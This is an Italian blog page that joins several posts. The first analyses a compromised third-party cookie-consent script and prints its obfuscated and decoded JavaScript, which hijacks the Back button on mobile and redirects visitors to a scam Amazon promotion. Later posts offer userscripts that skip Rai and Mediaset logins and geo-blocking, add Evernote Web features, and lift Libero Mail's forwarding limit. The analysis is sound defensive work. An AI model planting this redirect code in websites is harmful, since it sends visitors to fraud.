Lo strano caso delle promozioni truffa che infettano i siti web senza “bucarli”

Vi è mai capitato di navigare sul web da smartphone e all’improvviso ritrovarvi pagine pubblicitarie che si aprono da sole o addirittura appaiono nella cronologia senza averle mai visitate prima?

Vi avevo già parlato di come bloccare le pubblicità sui dispositivi Android, però questo fenomeno di “intrusione” nella lista di pagine visitate è piuttosto subdolo e a volte può capitare ugualmente. La cosa dà particolarmente fastidio quando gli utenti del vostro sito iniziano a lamentarsi del fenomeno.

Questo è proprio ciò che è successo ad un cliente: visitando il suo sito web da smartphone, la pagina si apriva correttamente. Navigando non si notava nulla, fino al momento di premere il tasto Indietro del browser. A quel punto, l’ignaro utente era inesorabilmente dirottato verso una pagina pubblicitaria camuffata da promozione Amazon.

Screenshot che rappresenta un presunto "Concorso Promozionale Amazon"
La finta promozione Amazon comparsa alla pressione del tasto Indietro

La richiesta che mi veniva posta era individuare la causa di questa “infezione” e rimuovere le pubblicità. Sembrava trattarsi di un classico caso di bonifica di siti web compromessi, come ne affronto abitualmente.

Tuttavia, a seguito di una veloce verifica, è risultato chiaro che il sito non era stato “bucato”. Nonostante ci siano malintenzionati che scansionano frequentemente la rete alla ricerca di siti con WordPress, Drupal oppure Joomla non aggiornati (o con plug-in vulnerabili) per violarli e infettarli, qui non era accaduto nulla del genere.

Lo sviluppo web con il tempo sta prendendo una direzione sempre più complessa e di conseguenza aumentano i componenti e le librerie che vengono usate nel lavoro. Chi ha sviluppato la grafica e le funzionalità del sito ha reputato opportuno usare alcune librerie Javascript, la maggior parte delle quali “interne”, quindi salvate direttamente nello spazio web associato al dominio in esame.

Nel verificare i file richiamati però spiccava invece un componente esterno, apparentemente innocuo e legato alla gestione della richiesta di consenso per l’uso dei cookie:

<!-- Begin Cookie Consent plugin by Silktide - http://silktide.com/cookieconsent -->
<!-- cookie conset latest version -->
<script type="text/javascript" src="https://s3-eu-west-1.amazonaws.com/assets.cookieconsent.silktide.com/current/plugin.min.js"></script>

Andando a vedere il contenuto del file, non compare nulla di buono. Il codice è chiaramente offuscato, non semplicemente compresso, cosa che dovrebbe far nascere dei seri sospetti sulla sua legittimità:

var _0xc368=["\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x74\x65\x73\x74","","\x23","\x70\x75\x73\x68\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x6F\x2E\x32\x63\x65\x6E\x74\x72\x61\x6C\x2E\x69\x63\x75\x2F\x3F\x75\x74\x6D\x5F\x6D\x65\x64\x69\x75\x6D\x3D\x35\x62\x66\x35\x30\x35\x65\x61\x32\x62\x65\x63\x30\x66\x61\x32\x30\x34\x33\x38\x31\x31\x65\x30\x30\x39\x62\x66\x39\x65\x35\x66\x30\x35\x32\x31\x32\x32\x39\x32\x26\x75\x74\x6D\x5F\x63\x61\x6D\x70\x61\x69\x67\x6E\x3D\x32\x63\x65\x6E\x74\x72\x61\x6C\x26\x31\x3D","\x72\x65\x70\x6C\x61\x63\x65"];if(/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i[_0xc368[1]](navigator[_0xc368[0]])){!function(){var _0xa9b1x1;try{for(_0xa9b1x1= 0;10> _0xa9b1x1;++_0xa9b1x1){history[_0xc368[4]]({},_0xc368[2],_0xc368[3])};onpopstate= function(_0xa9b1x1){_0xa9b1x1[_0xc368[5]]&& location[_0xc368[7]](_0xc368[6])}}catch(o){}}()}

Il trucco di mascherare i comandi utilizzando le entità esadecimali è abbastanza diffuso, ma è anche semplice da analizzare. Il metodo “pigro” è quello di usare Online JavaScript Beautifier e ottenere un codice decisamente più leggibile:

if (/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i ['test'](navigator['userAgent'])) {
    ! function() {
        var _0xa9b1x1;
        try {
            for (_0xa9b1x1 = 0; 10 > _0xa9b1x1; ++_0xa9b1x1) {
                history['pushState']({}, '', '#')
            };
            onpopstate = function(_0xa9b1x1) {
                _0xa9b1x1['state'] && location['replace']('http://to.2central.icu/?utm_medium=5bf505ea2bec0fa2043811e009bf9e5f05212292&utm_campaign=2central&1=')
            }
        } catch (o) {}
    }()
}

Ahia! Questa nefandezza si può riassumere in parole molto semplici:

  • se l’utente sembra navigare da un dispositivo mobile, allora aggiungi 10 voci vuote alla cronologia delle pagine precedenti
  • quando viene premuto il tasto Indietro, rimpiazza la pagina corrente con un URL che rimanda alla pagina truffaldina

In questo caso la soluzione da prospettare al cliente è relativamente semplice: basta eliminare il riferimento allo script incriminato e sostituirlo con un altro codice che chieda il consenso per i cookie.

Quando si utilizza uno script ospitato su server di terze parti, dovete tenere a mente che in futuro il contenuto potrebbe cambiare. Per esempio, quel dominio potrebbe essere violato o semplicemente scadere e venire registrato da qualcun altro che ci inserirà codice malevolo. È quindi consigliabile linkare da fonti esterne solo script veramente fidati, per minimizzare i rischi e le brutte figure.

Avete un sito web che è stato violato, invia spam o manifesta altri comportamenti strani? Cliccate qui per contattarmi e parliamone.

Script aggiornati per Greasemonkey 4 e altre importanti novità

Chi segue il blog da qualche tempo ormai lo sa, i miei post più seguiti sono quasi tutti dedicati al download di video delle principali emittenti italiane, e non solo, disponibili liberamente sui siti web.

Da diversi anni ho reso disponibili gratuitamente degli script (con annesso server di supporto, per Rai e Mediaset) dedicati ciascuno a un singolo sito web. Qui sotto trovate i link ai vari post, dai quali potete scaricare e installare ciò che vi interessa. 🙂

Firefox e Greasemonkey

In passato ho sempre consigliato a tutti Greasemonkey su Firefox, perché è un componente aggiuntivo libero e open source che si può considerare anche la prima delle estensioni per usare gli user script. Poi è nata Tampermonkey per Chrome, Opera e altri browser e adesso ne esistono pure di ulteriori.

Nel lavoro di ammodernamento precedente all’uscita di Firefox 57 (Quantum), gli autori di Greasemonkey si sono trovati nella condizione di dover aggiornare l’estensione e ne hanno approfittato per fare alcune modifiche non retrocompatibili.

Ne è risultato che i miei script funzionavano bene su Greasemonkey 3, ma erano inefficaci su Greasemonkey 4. Quindi ho suggerito a tutti di passare a Tampermonkey. 😉

Come sempre accade, ho continuato a ricevere lo stesso qualche richiesta in merito a presunti “problemi” da sistemare sullo script, da persone che usavano Greasemonkey nonostante i ripetuti avvisi. Però per il resto è andato tutto abbastanza liscio.

Ad ogni modo ora non è più necessario preoccuparsi, infatti ho aggiornato tutti gli script per renderli funzionanti col nuovo Greasemonkey! 😀

Gli aggiornamenti

Non ho effettuato solo una modifica (per fortuna non troppo impegnativa) in termini di compatibilità garantita con Greasemonkey e Tampermonkey, ma in alcuni casi ci sono state delle modifiche ulteriori. Eccovi un riepilogo:

  • Rai Play: ora il link compare regolarmente, inoltre ho nascosto il fastidioso avviso che chiede all’utente di disattivare il blocco pubblicitario. Bloccare le pubblicità è fondamentale (leggete qui perché).
  • Video Mediaset: ora tutti i link compaiono regolarmente. Ho rimosso il pop-up che compare a chi accede a Mediaset dall’estero. Nella quasi totalità dei casi, chi usa il mio script può vedere i video geoprotetti di Mediaset anche in altri paesi.
  • La7: nella stragrande maggioranza dei casi funzionava già con Greasemonkey 4, ma ho fatto una piccola modifica per sistemare il resto.
  • Infine ho applicato la stessa correzione agli script per RSI e BBC.

Altre informazioni utili

Una cosa che ha confuso alcune persone è che da un po’ di tempo sia Rai che Mediaset richiedono di essere registrati, per vedere molti dei loro video. È così da diversi mesi, eppure pochi se ne sono accorti e ogni tanto qualcuno me lo “segnala”.

Il motivo è semplice: chi usa i miei script non deve registrarsi perché ci pensano loro a mostrare subito il video. Un risparmio di tempo e di privacy, saltando il login e la pubblicità iniziale. 🙂 Nei rari casi in cui un link non sia disponibile o riconoscibile dallo script, può comparire una finestra di login… ma non allarmatevi, è fatto così il sito.

Altra cosa utile da tenere a mente, lo accennavo prima, è che usando il mio script per Video Mediaset potete visualizzare tranquillamente quasi tutti i loro filmati anche dall’estero senza strumenti particolari. 😉 Questo perché i loro video “geo-protetti” sono protetti tanto quanto lo sarebbe un caveau pieno di diamanti, aperto e con un cartello che dice “non entrare”.

Per quanto riguarda invece i video della Rai (se non siete in Italia) o della BBC (se non siete nel Regno Unito) avrete bisogno di un servizio VPN serio. Ne ho parlato approfonditamente nell’articolo Cos’è una VPN e perché è fondamentale usarla per proteggersi. Il post ha dei link per acquistare degli account lifetime scontati… Sennò fate voi e scegliete quella che preferite. 🙂

Infine, vorrei precisare che questi aggiornamenti non riguardano i problemi di qualche giorno fa (sorti attorno al 15 gennaio) per i link che non comparivano sotto ad alcuni video su Rai Play. Quello era un malfunzionamento sul server (già risolto) causato dall’hosting provider. Ne ho parlato nei commenti sotto al post.

Licenza e nuova policy

Volevo infine chiarire una cosa importante sull’uso degli script ed eventuali richieste di assistenza in merito. Dal primo giorno (di oltre 6 anni fa!) gli script sono rilasciati sotto licenza GPL, una licenza libera. Ciò vi garantisce che potete usarli gratis e liberamente per qualsiasi scopo, installarli dove vi pare, condividerli e modificarli a condizione di riportare chi è l’autore e mantenere le modifiche sotto la stessa licenza.

Gli script (e relativo server di supporto) sono e restano a vostra disposizione.

Però è opportuno tenere a mente anche quanto è indicato nella licenza, in merito a eventuali garanzie di funzionamento. Userò la traduzione non ufficiale della GPLv3 per maggiore chiarezza:

Eccetto quando altrimenti stabilito per iscritto, i detentori del copyright e/o le altre parti forniscono il programma “così com’è” senza garanzia di alcun tipo, né espressa né implicita, incluse, ma non limitate a, le garanzie di commerciabilità o di utilizzabilità per un particolare scopo.

Ciò significa, in altri termini, che non devo fornire garanzie di funzionamento costante al 100%, stando sempre al passo con le modifiche ai siti delle varie TV. Né in realtà ho il tempo di farlo… aggiorno quando riesco, essendo tutte ore extra che devo spendere per gli script. 🙂

Non posso altresì dedicare molto tempo a rispondere ai quesiti che arrivano via email o messaggi privati, sennò diventa un impegno gravoso che va ad intaccare il tempo dedicato alla mia professione. Per questo motivo da oggi ho deciso di disattivare la chat della mia pagina Facebook.

Se ci sono dubbi, domande o commenti sugli script ho sempre chiesto agli utenti di usare l’area commenti dei relativi articoli. Per comodità vostra li trovate linkati all’inizio di questo post, quindi commentate pure!

Se 10 persone mi scrivono in privato, devo dare 10 risposte. Se 10 persone usano l’area commenti, la prima riceve la risposta e le altre 9 si trovano già la soluzione pronta senza far fatica. È un vantaggio per tutti! 😉

Come policy generale comunque ho intenzione di dare una mano con gli script a chi ha effettuato una donazione, naturalmente se ho tempo e se riesco. Contando la globalità degli script citati sopra, sono state superate le 60000 (sessantamila) copie installate. Vi lascio trarre qualche conclusione su quanto più tempo libero avrei se per ogni installazione mi fosse stato donato un euro. 😀

Chi usa gli script e non ha intenzione di donare sappia che può continuare a farlo gratuitamente tutte le volte che lo desidera. Semplicemente porti un po’ di pazienza se ogni tanto qualcosa non va. Chi invece ha la necessità di avere consulenze dedicate o script realizzati su misura (tutte attività che richiedono tempo) può chiedermi un preventivo in merito a tutti i servizi che offro.

Inserire link ad altre note in Evernote Web

A mio parere, Evernote è un ottimo strumento per prendere note e ritagliare pagine web. Eppure ha una grave mancanza: sebbene esista il client ufficiale per due discutibili sistemi operativi proprietari (Windows e Mac OS X), non c’è quello per Linux. Tuttavia, è possibile usare il servizio tramite Evernote Web direttamente nel browser.

Ciò ha alcuni vantaggi. Innanzitutto, è disponibile tramite qualsiasi PC collegato a Internet. In secondo luogo, è possibile andare a modificare direttamente il codice HTML per le note, utilizzando il mio script.

Una funzione importante che ufficialmente manca in Evernote Web è la possibilità di generare i collegamenti in-app alle note. Questo tipo di link consente di creare collegamenti ipertestuali che fanno “saltare” direttamente da una nota all’altra e sono compatibili con tutte le versioni di Evernote (incluso Evernote Web e i client per dispositivi mobili).

Tali link, inoltre, mostrano una comoda anteprima nell’interfaccia web, quando ci si passa il mouse sopra. Sul blog ufficiale del servizio c’è un ottimo articolo su alcuni utilizzi interessanti di questa funzione. Inoltre, potete vedere questo video per maggiori informazioni:

Avendo la necessità di usare questa funzionalità, ho deciso di creare uno script per il browser che fornisca in automatico l’indirizzo in-app della nota corrente. Il link rispetta le specifiche fornite dalla documentazione di Evernote (che in realtà contiene un errore) e usa il protocollo evernote://. La figura mostra un esempio con una nota in cui sto scrivendo proprio questo post:

Collegamento in-app generato dallo script
Collegamento in-app generato dallo script

Il link può essere copiato col tasto destro del mouse e inserito in alte note usando il solito pulsante a forma di catena nell’interfaccia di Evernote Web. Come sempre, prima di installare lo script dovete procurarvi l’estensione corretta per il vostro browser:

Dopodiché potete scaricare lo script su GreasyFork cliccando questo bottone:

Evernote Web in-app note link

Spero che vi possa essere utile. 🙂 Sono sempre interessato a nuovi modi per essere più organizzato e produttivo usando Evernote. Avete qualche trucco personale che volete condividere? Fatemi sapere nei commenti!

Modificare l’HTML delle note in Evernote Web

Evernote è un ottimo servizio dove poter memorizzare note, appunti, scansioni, file allegati e ritagli di pagine web. È qualcosa di molto più versatile di un semplice insieme di note testuali, avendo funzioni di ricerca e organizzazione ottime. Ne avevo già parlato anche in un articolo dedicato alle applicazioni per studenti:

Non è solo un sito web dove poter scrivere note, ma include anche il software client per Windows e Mac (su Linux io uso l’interfaccia web e mi trovo bene), applicazioni per cellulari e tablet ed estensioni per il browser. Le note possono essere divise in taccuini — per esempio uno per la documentazione e uno per ogni corso che seguite — e etichettate con dei tag.

Insomma vi consiglio decisamente di provarlo! Potete creare un account gratutito e attivare un mese di funzioni aggiuntive Premium gratis cliccando qui.

Proprio la funzione di ritaglio di parti di pagine web, seppur estremamente versatile, a volte può creare dei piccoli problemi. Infatti l’editor visuale di Evernote Web consente delle modifiche basilari. A volte alcune cose sono piuttosto complicate, come ad esempio:

  • rimuovere lo sfondo di un elemento
  • cancellare un pezzo di un ritaglio senza scombinare il resto
  • semplificare la struttura della pagina ritagliata

Naturalmente questi problemi non si presentano (o in maniera estremamente ridotta) con le note scritte di proprio pugno. Tuttavia, per i ritagli da pagine web sarebbe molto comodo poter modificare direttamente il codice HTML in modo da togliere o aggiungere elementi.

Evernote purtroppo non fornisce questa possibilità.

Questo è il motivo per cui mi sono imbattuto nel blog di Seb Maynard, uno sviluppatore che ha creato un bookmarklet per Evernote Web che consente di modificare l’HTML. Il bookmarklet funziona bene, però richiede di essere attivato ogni volta che si vuole fare una modifica e se si usa Evernote Web in modalità app (per esempio con Chromium) risulta molto scomodo.

Grazie alla gentilezza di Seb, che ha rilasciato il proprio codice sotto una licenza libera, ho creato uno user-script che permette di modificare il codice HTML con un bottone sulla barra degli strumenti. Insomma, un piccolo esempio di come il software libero sia di fondamentale aiuto per consentire il progresso e l’innovazione tecnologica. 🙂

La figura mostra lo script in azione proprio sulla nota che ho ritagliato con una versione precedente dell’articolo dedicato al bookmarklet.

Nuovo pulsante
Nuovo pulsante “HTML” inserito nella barra degli strumenti

Pulsante in azione nella nuova versione dell'interfaccia di Evernote Web
Pulsante in azione nella nuova versione dell’interfaccia di Evernote Web

Ho aggiunto alcune funzioni rispetto alla versione “base” di Seb. In particolare:

  • Il bottone sulla barra degli strumenti, per un’attivazione immediata
  • Ace Code Editor per facilitare le modifiche, con auto-completamento e evidenziazione della sintassi
  • Rimozione degli attributi non-standard di TinyMCE
  • Semplice formattazione automatica del codice HTML, per renderlo più leggibile

Gli ultimi due punti in particolare semplificano molto il lavoro di modifica. Come sempre, prima di installare lo script dovete procurarvi l’estensione corretta per il vostro browser:

Potete quindi scaricare lo script che ho pubblicato su GreasyFork, cliccando questo bottone:

Evernote Web HTML editor

Per attivarlo, non vi resta altro che premere il pulsante HTML sulla barra di modifica di una nota. Vi accoglierà un editor molto comodo e di bell’aspetto. 😀

Ace Code Editor in azione su una nota
Ace Code Editor in azione su una nota

Inoltrare le email da Libero Mail a qualsiasi altro indirizzo

Da quando ho pubblicato (nel 2011) il mio articolo su come usare la casella email di Libero tramite IMAP, usando Gmail come ponte, tale post ha ricevuto più di 98900 visite. Supponendo che in 1 caso su 100 il mio post sia stato utile, significa aver aiutato quasi 1000 persone a evitare l’uso della terribile interfaccia web di Libero Mail, o ancor meglio aver permesso la migrazione definitiva verso un servizio di qualità come Gmail.

La mia guida si basava sull’uso dei filtri per l’inoltro della posta verso Gmail. Non sono rimasto perciò molto sorpreso quando una persona mi ha comunicato che recentemente non era possibile seguire la mia guida, in quanto Libero ha cambiato le carte in tavola permettendo l’inoltro della propria posta solo verso altre caselle Libero.

La figura mostra cosa succede quando si prova a creare un filtro di inoltro verso una casella email non fornita da Libero:

Avviso: i tuoi dati sono nelle nostre mani!
Avviso: i tuoi dati sono nelle nostre mani!

Di fatto è stata attuata una vera e propria politica di vendor lock-in, vale a dire il fenomeno per cui un fornitore di servizi incatena i propri utenti, impedendo ai medesimi di “scappare” coi propri dati verso altri servizi.

Se mi è consentito usare un eufemismo, non è che questa cosa sia esattamente da considerarsi gradita e simpatica… Specialmente quando un ignaro utente si rende conto di non poter passare a un altro fornitore email avendo la tranquillità che i messaggi mandati all’indirizzo vecchio saranno inoltrati. 😉

Per questo motivo ho analizzato il sito di Libero Mail e ho trovato un metodo abbastanza pratico per disattivare il blocco. Si tratta di uno user script per il browser, vale a dire un minuscolo programma che viene avviato quando visitate il sito di Libero Mail.

Per usarlo, dovete installare l’estensione adatta per il vostro browser. Questa cambia a seconda del software che utilizzate per navigare:

Una volta installata l’estensione, potete provvedere a scaricare lo script aprendo la pagina di download, tramite il seguente pulsante:

Libero Mail forward to ANY address

Ovviamente poi cliccate su Install this script.

Potete quindi recarvi sul sito web di Libero Mail e creare i filtri di inoltro che più vi aggradano, senza messaggi fastidiosi, inopportuni e offensivi che vi bloccano. 🙂

Una nota importantissima che voglio aggiungere: non è assolutamente escluso che in futuro Libero aumenti le limitazioni e queste pratiche “incatenanti”. Vi raccomando perciò di usare i filtri di inoltro per ricevere i messaggi sulla vostra casella di un provider più funzionale, e avvisare alla svelta chi vi scrive che possedete un nuovo indirizzo.

Migrate prima che sia troppo tardi. 😉